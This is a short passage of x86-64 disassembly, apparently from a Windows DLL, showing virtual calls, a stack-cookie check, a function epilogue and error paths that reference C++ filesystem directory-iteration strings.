je 0x18000745f
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18000745f
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
lea rcx, [rsp + 0x2e0]
call fcn.1800074e0
mov rax, r13
mov rcx, qword [rsp + 0x570]
xor rcx, rsp
call fcn.1800346e0
lea r11, [rsp + 0x580]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
lea r8, [rsp + 0x60]
mov edx, eax
lea rcx, str.directory_iterator::directory_iterator
call fcn.180002f30
nop
lea r8, [rbx + 0x20]
lea rcx, str.directory_entry::status
call fcn.180002f30
nop
call fcn.180017a20
int3